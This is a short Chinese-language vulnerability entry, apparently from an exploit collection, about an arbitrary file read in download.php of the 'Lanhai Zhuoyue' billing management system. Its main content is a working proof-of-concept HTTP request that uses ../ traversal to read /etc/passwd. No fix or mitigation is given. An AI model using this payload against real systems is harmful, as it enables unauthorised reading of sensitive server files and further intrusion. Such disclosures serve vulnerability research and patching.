蓝海卓越计费管理系统 任意文件读取漏洞

# 蓝海卓越计费管理系统 任意文件读取漏洞

蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞，攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件.

poc：

“`
GET /download.php?file=../../../../../etc/passwd HTTP/1.1
Host:
“`

via：peiqi